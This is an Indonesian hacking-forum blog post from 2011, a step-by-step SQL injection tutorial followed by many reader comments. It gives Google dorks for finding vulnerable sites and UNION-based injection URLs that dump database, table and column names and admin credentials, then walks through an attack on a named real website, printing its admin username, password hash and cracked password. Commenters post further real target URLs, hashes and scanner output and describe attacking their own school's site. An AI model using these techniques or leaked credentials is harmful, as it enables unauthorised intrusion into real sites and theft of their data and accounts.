Binus Hacker - Independent Hacking Community   Subscribe to BINUS HACKER Subscribe to BINUS HACKERSubscribe to BINUS HACKER FacebookSubscribe to BINUS HACKER Twitter

SQL Injection Tutorial

11 April 2011
Penulis:   · Kategori Artikel: Hacking

BINUS HACKER Binus Hacker Is Not Criminal Banner





SqLi Tutorial – Sql Injection Tutorial – Sql Injection Artikel – SQL Injection Article
Sqli (alias Sql Injection atau Structured Query Language Injeksi) adalah langkah pertama dalam entri untuk memanfaatkan atau hacking website. Hal ini mudah dilakukan dan merupakan titik dari awal yang bagus. Sayangnya tutorial yang sedikit rumit sehingga itulah sebabnya ane menulis ini. Sqli pada dasarnya hanyalah suntikan pertanyaan ke dalam database atau menggunakan query untuk mendapatkan bypass otorisasi sebagai sebuah admin.

Untuk Mencari Inject

Mencari SQLI sangat mudah,semua yang perlu ente2 lakukan adalah Googling . Hal pertama yang perlu ente2 lakukan adalah menemukan beberapa dorks

Code:

inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:read.php?id=
"id=" & intext:"Warning: mysql_fetch_assoc()
"id=" & intext:"Warning: mysql_fetch_array()
"id=" & intext:"Warning: mysql_num_rows()

Lebih lengkap, silakan dicari di Google Dorknya :)


PART 1

Pilih salah satu dorks dan menambahkan inurl: sebelum
(Jika mereka belum memiliki itu) dan kemudian salin dan sisipkan
ke google. Pilih salah satu situs dari google dan chek 1-1.
Sebagai contoh url dari halaman ente berada mungkin terlihat seperti ini

Code:

http://www.example.com/index.php?id=3


untuk memeriksa adanya Bug MySQL tinggal tambahin “‘” di akhir URL

contoh

Code:

http://www.example.com/index.php?id=3'


tekan enter sampai ente2 mendapatkan ERROR

Mendapatkan Jumlah Kolom

Setelah ente menemukan situs yg udah di siapin ,langkah pertama yang perlu ente2 ambil adalah
untuk menemukan jumlah kolom. Cara termudah untuk melakukannya adalah
menggunakan pernyataan “order by”. Yang harus ente lakukan adalah meletakkan ORDER BY (angka) -
pada akhir url ente. Jadi seharusnya terlihat seperti ini.

Code:

http://www.example.com/index.php?id=3 ORDER BY (number)--


setelahnya ane ubah jadi bahasa inggris dah..
capek translatenya
wkwkwkwkwkwkwkwkwkw :P

Yuk kita lanjutkan ke order by 8– kamu akan mendapatkan sebuah error. Ini membuktikan bahwa table database hanya memiliki 7 kolom, ini dibuktikan bahwa ketika anda melakukan order by lebih dari 7, akan selalu error. Jika kamu memiliki memory yang kurang baik, silakan buka notepad & catat kolom-kolom yang anda temukan.

Menemukan kolom yang dapat di akses

Setelah kita mengetahui kolom yang ada di table database, sekarang kita akan mencari informasi & data apa yang bisa diambil dari sana.
Kita melakukan hal tersebut dengan menggunakan fungsi “UNION” “SELECT” dan NOMOR KOLOM. Kita selipkan seluruhnya dalam URL, seperti contoh berikut:

Code:

http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--


Jangan lupa untuk menyisipkan tanda “-” sebelum code dimulai, jadi sebagai contoh di atas kita selipka tanda “-” didepan angka “3“, nah setelah semua dilakukan, maka akan muncul table yang memiliki isi didalamnya. Catatlah nomor kolom table yang memiliki informasi di dalam database tersebut. Klo lupa, simpan dulu di notepad.

Finding MySQL Database Version
Sebelum kita melanjutkan hal ini, maka yang perlu kita ketahui adalah versi dari database.

URL nya adalah sebagai berikut:

Code:

http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--


Kita ganti angka “1” dengan  “@@version” untuk mengetahui informasi versi database, berikut contohnya:

Code:

http://www.example.com/index.php?id=-3+UNION+SELECT+@@version,2,3,4,5,6,7--


Tekan enter, maka anda akan menemukan informasi database yang digunakan.

Hal ini biasanya bekerja pada versi database 5.* keatas.

Finding Database Names

Selanjutkan kita akan inject website untuk menemukan database names. Kita lakukan hal ini dengan mengganti “@@version
dengan “group_concat(schema_name)” dan juga ditambahkan “+ from+information_schema.schemata–” sesudah nomor kolom terakhir di table database.
Seperti ini contoh URLnya:

Code:

http://www.example.com/index.php?id=-3+UNION+SELECT+group_concat(schema_name),2,3,4,5,6,7+ from+information_schema.schemata--


Hal tersebut akan menunjukkan daftar nama database. Sekarang untuk menemukan database mana yang saat ini dipakai adalah dengan mengganti “group_concat(schema_name)” dengan concat(database()) dan hapus “+ from+information_schema.schemata

Jadi URL nya akan menjadi seperti ini:

Code:

http://www.example.com/index.php?id=-3+UNION+SELECT+concat(database()),2,3,4,5,6,7--


Selamat, anda telah mendapatkan informasi database yang saat ini digunakan.

Menemukan Nama Table

Untuk mengetahui nama table yang digunakan dalam database, anda harus mengganti “concat(database())” dengan group_concat(table_name) dan tambahkan “from information_schema.tables where table_schema=database()” diantara nomor awal dan “–” hapus juga tanda “+” dari “union select“.

Urlnya akan tampak seperti berikut:

Code:

http://www.example.com/index.php?id=-3 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema=database()--


Nah, hal tersebut akan menampilkan nama table yang digunakan di database.

Menemukan Nama Kolom

Lakukan dengan hanya merubah “table_name” ke “column_name” dan “information_schema.tables” ke “information_schema.columns”.
Url akan tampak seperti ini:

Code:

http://www.example.com/index.php?id=-3 union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_schema=database()--


Hal tersebut akan memunculkan nama table.

Misalkan nama colom seperti berikut:

admin_username
admin_password

Mengambil Informasi Database

Sekarang kita sudah mengetahui “database name, table names, dan colomn names”, kita bisa menyatukannya bersama-sama dan mengeluarkan informasi yang ada di sana, kita lakukan dengan contoh berikut:

Code:

http://www.example.com/index.php?id=-3 union select 1,group_concat(Columnname,0x3a,columnname,0x3a),2,3,4,5,6,7 from databasename.tablename--


Sekarang ganti “columnname” dengan kolom yang anda mau ambil informasinta. “0x3a” akan membuat jeda diantara informasi yang anda dapatkan dari masing-masing colom. Jangan lupa juga untuk merubah “databasename.tablename” dengan database dan nama tabel dimana kolom ada di database dan tabel tersebut.

Sebagai contoh:

Code:

http://www.example.com/index.php?id=-3 union select 1,group_concat(admin_username,0x3a,admin_password,0x3a),2,3,4,5,6,7 from whippit.t_admin--


Sekarang anda akan mendapatkan informasi username & database

Credit: Madun & Diperbaiki Oleh BinusHacker Team

PART 2

Mari kita coba praktekkan cara diatas!

Sebagai contoh kita mendapatkan target sebagai berikut:

Code:

Sekarang kita akan melakukan pengecekan apakah website tersebut memiliki vulnerability dengan menambahkan tanda di akhir URL, contohnya sebagai berikut:
Code:

Jika kita menemukan error, maka terdapat vulnerability di website tersebut, sebagai contoh:

Setelah kita mengetahui ada vulnerability, maka langkah selanjutkan adalah kita harus mengetahui berapa jumlah kolom yang ada di table tersebut.

Kita akan mengetahuinya sampai ada informasi “Unknown Column“.

Lakukan pengecekan dengan menggunakan perintah “order by“.

Kita akan mencoba dari 1……..tak hingga, jadi bisa saja 1,2,3,4,5,6,7,dst.

Kebetulah dalam target ini hanya terdapat 7 kolom dalam table yang ada di database,

Contohnya:


Langkah pengetesannya adalah
Code:

http://www.cocobod.gh/news_details.php?id=30 order by 8– *>> Unknown column

Hal tersebut membuktikan bahwa tidak ada kolom ke 8 dalam table tersebut, jadi cuman ada 7 kolom.

Langkah selanjutnya adalah, mencari kolom yang dapat di akses!

Kita sudah mengetahui, jumlah kolom adalah 7, kita gunakan perintah “UNION SELECT number,of,columns–” untuk mengatahui kolom mana yang dapat di akses:

Code:

Anda akan menemukan seperti gambar berikut:

Binus Hacker Tutorial

Muncul 6, 2, 3 kan? Kolom dalam tersebutlah yang bisa anda akses dan anda ambil informasinya.

Langkah selanjutnya, mencari informasi versi database

SQL Injection bekerja baik pada versi 5.* ke atas, untuk mendapatkan informasi database version, kita masukkan saja “@@version”, pada kolom dimana saja yang bisa dipakai.

Misalkan kolom “6″ kita ganti dengan “@@version”

Code:

Binus Hacker Tutorial

Akan muncul versi database 5.1.39, ini berarti database bisa di inject :)

Mengetahui Database Name

Langsung ajah kita replace kolom yang tadi digunakan “6,2,3″ dibagian mana saja, kita gunakan kolom “6″, kita ganti dengan code berikut “group_concat(schema_name)” , dan jangan lupa tambahkan “from information_schema.schemata–” sesudah kolom terakhir.

Code:

Binus Hacker Tutorial

Mengatahui Database Yang Dipakai

Langsung ajah ganti “group_concat(schema_name)” dengan “concat(database())” seperti contoh berikut:

Code:

Binus Hacker Tutorial

Selamat, anda telah mengetahui database yang dipakai saat ini adalah “cocobod_gh“.

Mengetahui Nama Tabel

Langsung aja ganti “group_concat(table_name)” dan tambahkan “from information_schema.tables where table_schema=database()–” setelah kolom terakhir.

Code:

Binus Hacker Tutorial

Mengatahui Nama Kolom

Untuk mengetahui nama kolom, kita gunakan query berikut:
group_concat(column_name)
from information_schema.columns where table_schema=database()–

Code:

Binus Hacker Tutorial

Mengambil Informasi Yang Ada Di Dalam Kolom

Ini adalah step akhir, dimana anda akan mendapatkan informasi mengenai isi dari kolom yang berada dalam table di database.
Eksekusi perintah berikut:

Code:

Exploit akan menjadi seperti berikut :

Code:

Binus Hacker Tutorial

Dari informasi di atas kita mendapatkan data: “comaster:2c39e3769d300f7e23f8a9e1e21773e7 ,
Silakan check ke MD5 decrypter untuk mendecrypt password -> http://www.md5decrypter.co.uk/ paste MD5 password yang tadi yaitu: “2c39e3769d300f7e23f8a9e1e21773e7“, anda akan medapatkan result seperti dibawah:

Binus Hacker Tutorial

comaster:2c39e3769d300f7e23f8a9e1e21773e7
comaster:cocoadmin4682

username : comaster
password : cocoadmin4682

 

Selamat, anda sudah bisa login ke page dengan user & password di atas :)

Credit: Easy|Hack & Revision By BinusHacker Team

 

 

 

BINUS HACKER Binus Hacker Chat and Forum

Komentar

62 Komentar Untuk “SQL Injection Tutorial
Silahkan Berikan Tanggapan Anda Untuk Artikel Ini...

  1. akhmad pada 11 April 2011 8:26 pm

    aku msih bingung dengan cara mendapatkan jumlah kolom…. maksudnya gimana??? maaf… ni masih newbe…. mohon bantuannya………

  2. Dicky Riyandi pada 11 April 2011 11:27 pm

    siip kren tutor niih

  3. akhmad pada 12 April 2011 12:22 am

    tolong di artikan donk…. os kalo pake google translate kalo di artikan hasilnya
    akan tidak teratur…

  4. Qi pada 12 April 2011 2:00 am

    bagus….bagus

  5. devilnity pada 14 April 2011 3:01 am

    it’s works, terimakasih, ada yang lebih mangtab gx ne

  6. devilnity pada 15 April 2011 6:24 am

    Payah rata2x skarang pake double md5 jd ssh d crack, ad yg tau g alamat md5 cracker yg bgus n bsa wat double md5

  7. Rendy pada 15 April 2011 11:02 pm

    http://117.102.253.184./radiusmanager/reg.php?cont=store_user
    ngg dapet error ni gan.
    terus gmana kalo mo dapetin username n passwordnya ?

    tolong bantu gan
    tx

    Rendy

  8. pondok daun pada 16 April 2011 1:14 am

    gan ada cara yang lebih cepat nga…?

  9. dimas pada 16 April 2011 8:07 am

    bagus buat pemula ky ane. soalnya klo yg laen2 dah kduluan di crack orang, jd ga bs praktekin tutornya..
    makasih bwat artikelnya.. ^^

  10. Langkah-langkah SQL injection « Ri32's Weblog pada 16 April 2011 5:39 pm

    [...] Tutorial yang saya pakai : http://www.binushacker.net/sql-injection-tutorial.html [...]

  11. chacank pada 17 April 2011 3:18 am

    muanteeepppp nie gan,,

    ud lama ayee nyari² tutorial kyak gene,,
    PADAT,,
    SINGKAT,,
    JELAS,,
    dan MUDAH DIPAHAMI (di praktekin- red),, ^^

    tengs a Lot gan….

  12. Aqiqah Jakarta pada 17 April 2011 9:11 am

    mantab neh info na…thanks

  13. Percetakan di Tangerang pada 17 April 2011 9:12 am

    tengs gan..blogwalking gan:)

  14. Mu1Malaysia pada 18 April 2011 4:25 am

    old trick inject Puiii .. come join my game www mu1malaysia com

  15. Elite Crownicles pada 20 April 2011 2:20 am

    hehehehhehe ada lagi aku dapat Website yang punya bug nih, pake SQL Injection mungkin gak bs, tp mungkin bs dicoba menggunakan teknik XSS :D

  16. olya pada 20 April 2011 9:16 am

    Interesting thinking…

  17. dhani pada 22 April 2011 5:09 am

    Mantap banget nich gan …salut buat agan yang mo berbagi…disedot ya gan…

  18. purnama yasa pada 26 April 2011 11:55 am

    Passwordnya bukan menggunakan MD5 lagi… sudah dimodif… ada solusi

  19. zhie pada 27 April 2011 10:04 am

    Ini gan…
    ma’ap ye..dr awal lagi.
    buat dapetin: http://www.cocobod.gh/news_details.php?id=30
    itu yang dibelakang url (news_details.php?id=30) tu dari mana??

    Trus apa bedanya website yang keamanannya udah di patch atau belum…
    buat domain .ac.id ama .org bisa g?

    Mohon pencerahannya…..

  20. ericx pada 28 April 2011 2:18 am

    wadooo cara penjumlaan nye masih binggung :( hufff

  21. heroe pada 30 April 2011 5:03 am

    dah berubah om MD5 Hash nya jadi 49bf70cf4ed51b97e71db4303fe63b5e

    n situs MD5 crack belum bisa dapetin kodenya

  22. Claire@which keyboard pada 6 May 2011 6:11 pm

    Hi great article thanks for sharing. What is the best (or good ) online video tutorial sites for Visual Basic (asp.net), Java, and SQL Server?

  23. netshark pada 9 May 2011 9:40 pm

    kog, md5 nya ganti a6d457d5d406f34b87225e5ea3c44f1b

  24. Dreama Welton pada 10 May 2011 11:27 am

    Just wanted to give you a shout from the valley of the sun, great information. Much appreciated.

  25. Luna pada 11 May 2011 7:19 pm

    ad yg tau gmn cranya mengetahui dorks diblkng webpage?
    seperti http://www.ts4.travian.co.id/ <blkngnya ap?

  26. Hijack pada 15 May 2011 11:06 pm

    Susah gan ane bingung masihan..
    Ane nyoba ke web sekolah ane gk bisa-bisa..!! huft cape tenan!!

  27. tanpa nama pada 21 May 2011 5:53 am

    Masih bingung cara mengetahui username dan password admin?
    Adakah yang bisa menjelaskan.

  28. ferry pada 22 May 2011 6:12 am

    cara hack paswort cpmp

  29. doi pada 26 May 2011 12:51 pm

    ini bs di scan ga gan?? http://www.aprmedia.co.uk/product.php?pid=2098
    koq ane ga bs ya :(

  30. technology assistance pada 2 June 2011 7:35 am

    I read a post similar to this earlier was hoping someone would write more about this! I am researching thismyself! i am the founder of a unique technology community for all things technical. and Promotion and Marketing Business submit your site

  31. BlackMan(newbie) pada 6 June 2011 6:32 am

    MD5 : a672d754a6d860b09725c2bf2c19c2fb
    username : comaster

    dicari” MD5 nya..
    trnyata belum di crack..
    hehehehe… :)

    alhamdulilah..udah ngerti..
    thanks gan..udh share.. :)

  32. SQL Injection Tutorial [Part 1] « –Sikuruz pada 15 July 2011 1:41 am

    [...] SUMBER : BinusHacker [...]

  33. SQL Injection Tutorial [Part 2] « –Sikuruz pada 15 July 2011 1:43 am

    [...] SUMBER : BinusHacker [...]

  34. Gegek pada 19 July 2011 11:10 pm

    cara mengetahui halaman login gmn kk mastah..
    mohon bimbingannya..

  35. Army pada 26 July 2011 9:02 am

    comaster:9c42bc71f3c2d5b8154b9228a1060965

    mohon bantuannya untuk menderypt ni md5 .thx

  36. abe pada 26 July 2011 11:35 pm

    ko tiap gw masukin hash nya not found mulu gan? kenapa tuh????

  37. thenie pada 28 July 2011 8:17 am

    Memperbanyak arsip,,,?????

  38. BUday pada 30 July 2011 10:22 pm

    gan ane ga bs decript ni uda dapet password ma usernamenya

    nah ini passwordya:

    miBfS60nKIhdc

    kayanya bkn MD5, kira2x tipe apa ya?

  39. BUday pada 30 July 2011 10:23 pm

    miBfS60nKIhdc

    ada yg tau ga kira2x apa tuh password?

  40. Abenk Newbie pada 8 August 2011 7:11 am

    maksih gan tutorialnya bermanfaat banget.. langsung praktek \m/ :*

  41. leo draco pada 9 August 2011 8:57 am

    mohon pengrahan nya gan …ane masih awam nih ^_^

  42. vanderick pada 10 August 2011 10:38 pm

    mau tanya ni gan..
    maklum nubie total..
    itu script langsung di taruh di address bar apa adaaplikasinya lagi..
    mohon neon atau petromaxnya..

    thx

  43. vanderick pada 11 August 2011 2:48 am

    ane udah kasih tanda kutip pada semua situs tapi sama aja deh g ada bacaan errornya…
    gmn y gan…
    pliiissssss

  44. pein pada 24 August 2011 9:03 am
  45. TC pada 2 September 2011 6:49 am

    Bang, websiteny ga error…pie tuh?? mudeng gak bang….ne iya, bales

  46. R pada 13 September 2011 12:09 am

    komentar kita mah kagak di acuhin sama adminnya… percuma… parah,…

  47. heker jelek pada 19 September 2011 2:48 am

    saya udah sampe nemu harshnya tapi gabisa di decode sama md5 manapun

    4d6da7d887e4a2419e608387286710e838fe953a; untuk root

    bddaa11bf239a488144c1012c9729e9f6ca9838b; untuk webmaster

    yah yaaah udah jauh2 :)

  48. Phipeace Nank Cawliew pada 2 October 2011 10:22 pm

    Kalau untuk menedit dan menghapus data dengan SQL Injection Gmn?
    Soalnya tidak mengetahui form untuk loginnnya….

  49. Navy Seal pada 9 October 2011 12:56 am

    Mannttaapp Nie Tutorial.a …. Bikin Anne Pusing Gan …. gkgkgkgkgkgkg

  50. yan kachow pada 11 October 2011 7:03 am

    tutornya ada yang pake SS gak kak dari pertaama,kalo ada di PM yah ?
    karena aku masih kurang ngerti :((

  51. kotes pada 14 October 2011 11:14 pm

    gan tlg di bantu gan ane masih belum paham.. :(

  52. Suro Darman pada 30 October 2011 5:29 am

    mohon pencerahan kira2 bisa di crack ga ini website

    Analyzing http://www.aksindo.org/modules/article.php?id=430
    Host IP: 62.149.131.163
    Web Server: Apache
    Keyword Found: informasi
    Injection type is String (‘)
    Finding data base type
    I got bored of waiting more than 60 seconds! (request timed out)
    DB Server: MySQL >=4.1
    Trying another method using keyword for finding columns count
    Current DB: k7012403_aksindo
    MySQL error based injection method can be used!

  53. De Leke pada 24 November 2011 1:34 am

    klo dah nyampe di version trus hasilnya kyak ini -

    >>Can’t connect to MySQL Server. Errorcode: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” at line 1

    gmna cra na ya ???soalnya mentok sampe sini doank
    bantuin donk.. .. .. ..

  54. chikaze pada 31 December 2011 8:34 am

    wah manteb tutorialnya,,,
    tpi kok yah takut mulainya :nangis:

    klo nglakuin hal kya gni, apa ip kita bisa terdeteksi sma pemilik web ny?? tlong pencerahannya,,,

    terima kasi :)

  55. iwan pada 16 January 2012 9:37 pm

    gan pnya sql scaner online yg aktif ane cri di google rata² dah banyak yg gak work

  56. dewa pada 29 January 2012 7:49 am

    http://idsstudycenter.com/
    ada yang bisa inject ga tuh!!
    ayo coba

  57. dhonie pada 10 March 2012 10:49 pm

    ane bingung gan, maklum newbie..
    kalo http://www.shutterstock.com
    itu belakang nya apaan ya?

    buat yang tau rolong kirim ke dhoniefunkop@gmail.com
    thanks b4

  58. cipto pada 24 November 2012 8:33 am

    kakak
    gimana caranya supaya kita bisa dapat yang blakangnya
    misalnya pada http://www.rayner.com/products.php?id=22

    cara mendapatkan id=22 itu dari mana kakak

    mohonbantuannya plissssss

  59. sarbi pada 17 December 2012 5:58 am

    kasih Screen Shotnya donk….

  60. jack pada 26 January 2013 2:36 pm

    http://www.gemscool.com/news/news_view.php?seq=5669

    yang ini gimana kk
    kok ngak error eror ya????

    tolong di bantu kk

  61. Mengenal Keamanan Jaringan Menggunakan Teknik SQL Injection « RSP ( RegaSetiadiPermana ) pada 8 February 2013 7:22 am
  62. mantab pada 18 March 2013 8:24 pm

Silahkan Berikan Tanggapan Anda...